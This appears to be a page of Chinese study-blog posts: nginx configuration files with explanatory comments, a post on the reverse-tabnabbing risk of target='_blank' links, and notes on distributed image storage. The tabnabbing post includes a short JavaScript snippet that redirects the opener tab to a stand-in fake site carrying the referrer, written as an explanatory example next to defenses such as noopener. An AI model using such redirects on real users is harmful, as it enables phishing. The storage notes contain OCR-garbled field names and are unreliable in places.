28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#user  nobody;
worker_processes 1;

#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;

#pid logs/nginx.pid;


events {
worker_connections 1024;
}


http {
include mime.types;
default_type application/octet-stream;

#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';

#access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

#keepalive_timeout 0;
keepalive_timeout 65;

#gzip on;

server {
listen 8088;
server_name localhost;

#charset koi8-r;

#access_log logs/host.access.log main;

location ~ .*\.(gif|jpg|jpeg|png)$ {
expires 24h;
root /home/images/;#指定图片存放路径
access_log /home/nginx/logs/images.log;#图片 日志路径
proxy_store on;
proxy_store_access user:rw group:rw all:rw;
proxy_temp_path /home/images/;#代理临时路径
proxy_redirect off;

proxy_set_header Host 127.0.0.1;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
client_max_body_size 10m;
client_body_buffer_size 1280k;
proxy_connect_timeout 900;
proxy_send_timeout 900;
proxy_read_timeout 900;
proxy_buffer_size 40k;
proxy_buffers 40 320k;
proxy_busy_buffers_size 640k;
proxy_temp_file_write_size 640k;
if ( !-e $request_filename)
{
proxy_pass http://127.0.0.1:8088;#代理访问地址
}
}

location / {
root html;
index index.html index.htm;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}

# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}


# another virtual host using mix of IP-, name-, and port-based configuration
#
#server {
# listen 8000;
# listen somename:8080;
# server_name somename alias another.alias;

# location / {
# root html;
# index index.html index.htm;
# }
#}


# HTTPS server
#
#server {
# listen 443 ssl;
# server_name localhost;

# ssl_certificate cert.pem;
# ssl_certificate_key cert.key;

# ssl_session_cache shared:SSL:1m;
# ssl_session_timeout 5m;

# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;

# location / {
# root html;
# index index.html index.htm;
# }
#}

}

nginx中的nginx.conf.default配置说明

本篇博客仅以个人学习记录使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#运行用户  
user nobody;
#启动进程,通常设置成和cpu的数量相等
worker_processes 1;

#全局错误日志及PID文件
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;

#pid logs/nginx.pid;

#工作模式及连接数上限
events {
#epoll是多路复用IO(I/O Multiplexing)中的一种方式,
#仅用于linux2.6以上内核,可以大大提高nginx的性能
use epoll;

#单个后台worker process进程的最大并发链接数
worker_connections 1024;

# 并发总数是 worker_processes 和 worker_connections 的乘积
# 即 max_clients = worker_processes * worker_connections
# 在设置了反向代理的情况下,max_clients = worker_processes * worker_connections / 4 为什么
# 为什么上面反向代理要除以4,应该说是一个经验值
# 根据以上条件,正常情况下的Nginx Server可以应付的最大连接数为:4 * 8000 = 32000
# worker_connections 值的设置跟物理内存大小有关
# 因为并发受IO约束,max_clients的值须小于系统可以打开的最大文件数
# 而系统可以打开的最大文件数和内存大小成正比,一般1GB内存的机器上可以打开的文件数大约是10万左右
# 我们来看看360M内存的VPS可以打开的文件句柄数是多少:
# $ cat /proc/sys/fs/file-max
# 输出 34336
# 32000 < 34336,即并发连接总数小于系统可以打开的文件句柄总数,这样就在操作系统可以承受的范围之内
# 所以,worker_connections 的值需根据 worker_processes 进程数目和系统可以打开的最大文件总数进行适当地进行设置
# 使得并发总数小于操作系统可以打开的最大文件数目
# 其实质也就是根据主机的物理CPU和内存进行配置
# 当然,理论上的并发总数可能会和实际有所偏差,因为主机还有其他的工作进程需要消耗系统资源。
# ulimit -SHn 65535

}


http {
#设定mime类型,类型由mime.type文件定义
include mime.types;
default_type application/octet-stream;
#设定日志格式
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log logs/access.log main;

#sendfile 指令指定 nginx 是否调用 sendfile 函数(zero copy 方式)来输出文件,
#对于普通应用,必须设为 on,
#如果用来进行下载等应用磁盘IO重负载应用,可设置为 off,
#以平衡磁盘与网络I/O处理速度,降低系统的uptime.
sendfile on;
#tcp_nopush on;

#连接超时时间
#keepalive_timeout 0;
keepalive_timeout 65;
tcp_nodelay on;

#开启gzip压缩
gzip on;
gzip_disable "MSIE [1-6].";

#设定请求缓冲
client_header_buffer_size 128k;
large_client_header_buffers 4 128k;


#设定虚拟主机配置
server {
#侦听80端口
listen 80;
#定义使用 www.nginx.cn访问, 转发到哪个地址
server_name www.nginx.cn;

#定义服务器的默认网站根目录位置
root html;

#设定本虚拟主机的访问日志
access_log logs/nginx.access.log main;

#默认请求
location / {

#定义首页索引文件的名称
index index.php index.html index.htm;

}

# 定义错误提示页面
error_page 500 502 503 504 /50x.html;
location = /50x.html {
}

#静态文件,nginx自己处理
location ~ ^/(images|javascript|js|css|flash|media|static)/ {

#过期30天,静态文件不怎么更新,过期可以设大一点,
#如果频繁更新,则可以设置得小一点。
expires 30d;
}

#PHP 脚本请求全部转发到 FastCGI处理. 使用FastCGI默认配置.
location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

#禁止访问 .htxxx 文件
location ~ /.ht {
deny all;
}

}
}

a标签opener的危险

本篇博客仅以个人学习记录使用

起源

我们知道,在iframe中提供了一个用于父子页面交互的现象,叫做window.parent,我们可以通过这个对象来从框架汇总的页面访问父级页面的window。
opener与parent一样,只不过是用于在新标签页打开的页面的。通过a标签打开的页面,可以直接使用window.opener来访问来源页面的window对象。

1
2
<a target="_blank">

同域和跨域

浏览器提供了完整的跨域保护,在域名相同时,parent对象和opener对象实际上就直接是上一级的window对象;而当域名不同时,则是经过包装的一个global对象,并且在这几个仅有的属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)
在iframe中,提供了一个sandbox属性用于控制框架中的页面的权限,因此即使是同域,也可以控制iframe的安全性

利用

如果,你的网站上有一个链接,使用了target=”_blank”,那么一旦用户点击了这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

1:在你的网站上存在一个链接

1
<a href=""https://an.evil.site"  target="_blank">进入一个邪恶的网站</a>

2:用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过HTTP Header 中的Referer属性来判断用户的来源。并且,这个网站上包含着类似于这样的Js代码:

1
2
const url = encodeUrIComponent('{{header.refer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

1.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了xxxx

2.恶意网站xxx根据query string 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)

3.用户关闭xxx的标签页,回到原来的网站,已经回不去了

上部分攻击是在跨域的情况下的,在跨域情况下,opener对象和parent一样,是受限制的,仅提供非常有限的属性访问,大部分也都是不予许访问的(访问会直接抛出DOMException)

但是与parent不同的是,在跨域的情况下,opener仍然可以调用location.replace方法而parent不能
*** 如果是在同域的情况下,情况要比上面的严重的多

防御

1
2
3
4
<iframe>中用sandbox属性,而链接,则可以使用下面的方法:
1.Referrer Policy 和 noreferrer
上面的攻击中步骤中,用到了HTTP Header中的Referer属性,实际上可以在HTTP的响应头中增加Referrer Policy 头来保证来源隐私安全。

1
2
3
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个邪恶的网站</a>
但是要注意的是:即使限制了referer的传递,仍然不能阻止原标签被恶意跳转

2.noopener

为了安全,现代浏览器都支持在a标签的rel属性中指定rel=”noopener”,这样,在打开的新标签页中,将无法使用opener对象了,它设置为了null.

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个邪恶的网站</a>

3.JS

noopener属性看似解决了所有的问题,但是,浏览器还存在兼容性问题。。。
这时就需要加上这段原生JavaScript来帮忙了

1
2
3
4
5
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}

推荐

首先在网站中的链接上 ,如果使用了target=”_blank”,就要带上rel=”noopener”,并且建议带上rel=”noreferrer”。类似于这样:

1
<a href="https://an.evil.site" target="_blank" rel="nooperner noreferrer">进入一个邪恶的网站</a>

当然,在跳转到第三方网站的时候,为了SEO权重,还建议带上rel=”nofollow”,所以最终类似于这样:

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow"> 进入一个邪恶的网站</a>

性能

最后,再来说说性能问题。
如果网站使用了target=”_blank”,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的Js脚本,那么原始标签页也会受到影响,会出现卡顿的现象,而如果在连接中加入了noopener,则此时两个标签页将会互补干扰,使得原页面的性能不会受到新页面的影响

记海量图片的分布式存储及负载均衡理论学习

本篇博客仅以个人学习记录使用

摘要

针对海量图片给网站带来的访问速度下降、性能压力增大和I/O瓶颈等问题,提出一种海量图片的分布式存储及负载均衡技术。通过把图片数据和网站内容分开部署、在数据库中记录和维护图片服务器状态信息等方法实现图片和页面数据的分离。实验结果表明,该技术能提高网站的访问速度和运行效率,并可动态的增加图片服务器的数量满足日益增加的性能需求

前言

由于受到客户端浏览器限制,无法从一台服务器上同时下载页面中所有图片信息,因此即使服务器有很高带宽,用户的访问速度还是会受到很大的影响由于图片保存在物理硬盘上,访问图片需要频繁进行I/O操作,因此当并发用户数越来越多时,I/O操作就会成为整个系统的性能瓶颈。同时,由于受到操作系统的限制,一个目录中能存放的图片文件数量是有限的,因此随着图片资源的不断增加,如何合理有效的对图片进行管理和维护也是一个难题。对于少数大型网站系统,由于自身具有雄厚的资金和人力资源,可采用NFS、CDN、Lighttpd、反向代理、负载均衡等技术提高访问速度。但这些技术需要庞大的资金支持,对于处于创业初期中等规模的商务网站,由于缺少必要的资金支持,因此无法采用这些技术来提升网站的访问速度。对此才有了适用于中等规模商务网站的海量图片数据分布式动态存储及负载均衡的解决方案。该方案只需要增加很少的硬件成本,即可提高网站的访问速度,并且可以根据需要动态调整图片服务器的数量及图片的存储目录,确保系统具有可扩展性和伸缩性。

系统架构设计

对于web服务器而言,用户对图片信息的访问是很消耗服务器资源的。当一个网页被浏览时,web服务器与浏览器建立连接,每个连接显示一个并发。当页面中包含多个图片时,web服务器与浏览器很产生多个连接,同时发送文字和图片以提高浏览速度。因此,页面中图片越多web服务器受到的压力就越大。同时由于受到浏览器本身的并发连接数量限制(2~6个并发,不同的浏览器不同),意味着页面上有多余并发连接数限制的图片时,也不能并行的把所有图片同时下载和显示。对于小型网站,由于数据规模小,可以把网站所有页面和图片统一存放在一个主目录下,这样的网站对系统架构、性能要求都很简单。但大中型网站都保存有海量级的图片文件,所采用的技术更是涉及广泛,从硬件到软件、编程语言、数据库、web服务器、防火墙等各个领域都有较高的要求。因此,有必要设立单独的图片服务器来专门存放图片,把图片数据的流量从web服务器上分离开,这样的架构可以有效的缓解web服务器的I/O性能瓶颈,提升用户的访问速度。
++++ 系统架构需要满足四个要求:
(1).图片能够进行分布式存储(2)能实现负载均衡(3)能根据用户访问量及网站图片数据量的增加能动态添加图片服务器节点(4)图片服务器节点的动态调整对网站用户而言是透明的,并且不会中断系统的正常运行,系统整体架构包括客户端、web服务器、数据库服务器、图片服务器集群四个部分。

介绍

1.Web服务器部署网站的web页面,用于响应客户端用户的请求。当用户浏览网页时 ,Web服务器响应请求并访问数据库服务器,获得网页中所有图片的URL路径,然后 生成页面并返回给客户端,客户端接收该页面并根据页面中的图片URI路径自动从不 同的图片服务器下载并显示相应图片。当用户上传图片时,Web服务器首先从数据库服务器中获取所有图片服务器的当前状态,并根据相关算法选择一个图片服务器及保存的目录,再调用该图片服务器的Web Service方法把图片保存到该服务器, 最后在数据库服务器中纪录该图片的编号及URL路径等信息。

2.数据库服务器用于记录所有图片的编号以及图片的存放位置等信息,同时需要记录所有图片服务器的配置及当前状态信息

3.图片服务器集群用于存放网站的所有图片信息,该集群的服务器数量可以根据需要动态增加

系统实现及关键技术

增加了图片服务器后,对于客户端而言,整个网站系统执行过程应该仍然是透明的, 不会给用户带来任何影响。但后台系统需要解决以下4个问题:

(1) 如何实现图片的分布式部署 ,图片上传时如何动态确定保存到哪台图片服务器

(2) 如何做到图片服务器的负载均衡,既要保证所有图片服务器都有均等的机会保存图片,又要考虑到不同服务器的硬件配置和性能差异来区别对待

(3)如何把一台图片服务器上图片均衡保存到多个子目录中以便突破,操作系统在同一个目录中保存文件数的限制,对图片进行更好 的管理和维护

(4)如何能根据性能需要和图片数量的增加实现图片服务器的动态扩充

状态信息表

Web服务器需要及时掌握所有图片服务器的状态和信息才能动态决定把图片保存到哪一台图片服务器,因此,需要把所有的图片服务器的状态信息全部纪录到数据库服务器中,记录图片服务器信息和状态的表格式如表 1所示。状态信息表中的ServerId字段为主键自增列, 唯一代表一条图片
服务器纪录。ServerName字段记录服务器的名称 ,方便管理员识别该记录代表哪 台服务器 。ServerUrl字段标识了图片服务器上图片主目录的URL根路径 。PicRoot Path字段标识了保存图片的物理主目录。MaxPicAmount字段表示图片服务器能保存 的最大图片数 , 该数可以根据图片服务器的硬件配置和性能以及用户实际需要而进行动态调整。CurPicAmount字段表示当前已保存的图片数,当CurPicAmount~MaxPi e Amount时系统将不再把图片上传到该服务器 。SubFold Amount字段描述了在PicR∞t f)ath中指定的图片主目录下的子目录数 。这样可以把图片均匀分布到不同子 目录下, 避免在同一 目录下保存过多图片,从而方便对图片进行维护和管理。Fl gUsable字段表示图片服务器是否可用

图片浏览

客户端用户通过浏览器向Web服务器发出浏览某页面的请求 ,web服务器从数据库服 务器中获取该页面的所有图片URL信息 ,并根据URL信息去搜索表 1所列的状态信息
表 ,判断该URL所指向的图片服务器的状态字段FlgUsable,若 FlgUsable一一 f a I s e表示该图片服务器当前因某种原因 处于不可用状态 , 则把该图片的 URI 替换成Web服务器上 保存的一个默认图片的 URL, 否则把该URL直接返回给客 户端。客户端再根据图片的 URL路径 自动从不同的图片服务器上下载并显示相应 的图片 。由于图片URL路径直接指向具体的图片服务器 ,因此需要 在每个图片服务器的保存图片的主目录上建立一个 Web站点。由于客户端浏览器所需 要的图片是从多个图片服务器上直接下 载,因此浏览器可以并发地从多台服务器上 同时下载图片,这样就缩短了图片下载时间,同时也减轻了Web服务器的I/ O请求及性能压力,
因此 , 提高了网站的访问速度